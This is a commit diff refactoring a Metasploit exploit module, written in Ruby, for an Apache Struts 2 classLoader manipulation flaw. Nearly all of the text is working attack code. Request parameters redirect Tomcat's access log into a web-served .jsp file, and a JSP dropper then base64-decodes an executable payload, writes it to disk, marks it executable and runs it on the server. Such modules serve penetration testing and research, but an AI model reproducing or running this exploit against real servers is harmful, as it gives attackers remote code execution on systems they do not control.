Do first refactor

This commit is contained in:
jvazquez-r7
2014-05-01 16:39:53 -05:00
parent 195005dd83
commit b7ecf829d3
@@ -6,7 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
@@ -66,30 +66,45 @@ class Metasploit3 < Msf::Exploit::Remote
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
], self.class)
], self.class)
end
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
def exec_cmd(uri, cmd = "")
resp = send_request_cgi({
res = send_request_cgi({
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
})
return resp
res
end
def is_log_flushed?(resp, content)
return resp.headers["Content-Length"] != "0" && resp.body =~ /#{content}/
end
def exploit
def modify_class_loader
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
vprint_status("#{peer} - Modifying class loader")
print_status("#{peer} - Modifying class loader")
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
@@ -97,13 +112,13 @@ class Metasploit3 < Msf::Exploit::Remote
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
jsp_file = prefix_jsp
jsp_file << date_format
jsp_file << ".jsp"
@jsp_file = prefix_jsp
@jsp_file << date_format
@jsp_file << ".jsp"
# Wait till the log is created
uri = "/"
uri << jsp_file
uri << @jsp_file
created = false
@@ -117,52 +132,59 @@ class Metasploit3 < Msf::Exploit::Remote
res = exec_cmd(uri)
# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200
vprint_good("#{peer} - created file at http://#{peer}/#{jsp_file}")
print_good("#{peer} - Log file created file at http://#{peer}/#{@jsp_file}")
created = true
break
end
end
fail_with(Failure::TimeoutExpired, "No log file was created") unless created
fail_with(Failure::TimeoutExpired, "#{peer} - No log file was created") unless created
end
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def execute_jsp
if target['Arch'] == ARCH_JAVA
payload_exe = payload.encoded
jsp = fix(payload.encoded)
register_files_for_cleanup("#{@jsp_file}")
else
payload_exe = generate_payload_exe
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup("#{payload_file}", "#{@jsp_file}")
end
payload_file = rand_text_alphanumeric(4+rand(4))
payload_file << ".jsp" if (target['Arch'] == ARCH_JAVA)
register_files_for_cleanup("#{payload_file}", "#{jsp_file}")
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
uri = String.new(datastore['TARGETURI'])
uri << payload_file
vprint_status("#{peer} - Dumping payload into the logfile")
hint = rand_text_alpha(4 + rand(4))
print_status("#{peer} - Dumping payload into the logfile")
# Commands to be logged
exec_cmd(uri, "<%@ page import=\"java.io.FileOutputStream\" %>")
exec_cmd(uri, "<%@ page import=\"sun.misc.BASE64Decoder\" %>")
exec_cmd(uri, "<%@ page import=\"java.io.File\" %>")
exec_cmd(uri, "<% FileOutputStream oFile = new FileOutputStream(\"#{payload_file}\", false); %>")
exec_cmd(uri, "<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(payload_exe)}\")); %>")
exec_cmd(uri, "<% oFile.flush(); %>")
exec_cmd(uri, "<% oFile.close(); %>")
if target['Arch'] != ARCH_JAVA
exec_cmd(uri, "<% File f = new File(\"#{payload_file}\"); %>")
exec_cmd(uri, "<% f.setExecutable(true); %>")
exec_cmd(uri, "<% Runtime.getRuntime().exec(\"./#{payload_file}\"); %>")
jsp.each_line do |l|
exec_cmd(hint, l.chomp)
end
uri = "/"
uri << jsp_file
uri << @jsp_file
flushed = false
@@ -179,16 +201,19 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && is_log_flushed?(res, payload_file)
if res.code == 200 && is_log_flushed?(res, hint)
flushed = true
break
end
end
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
end
exec_cmd("/#{payload_file}") if (target['Arch'] == ARCH_JAVA)
def exploit
modify_class_loader
execute_jsp
end
end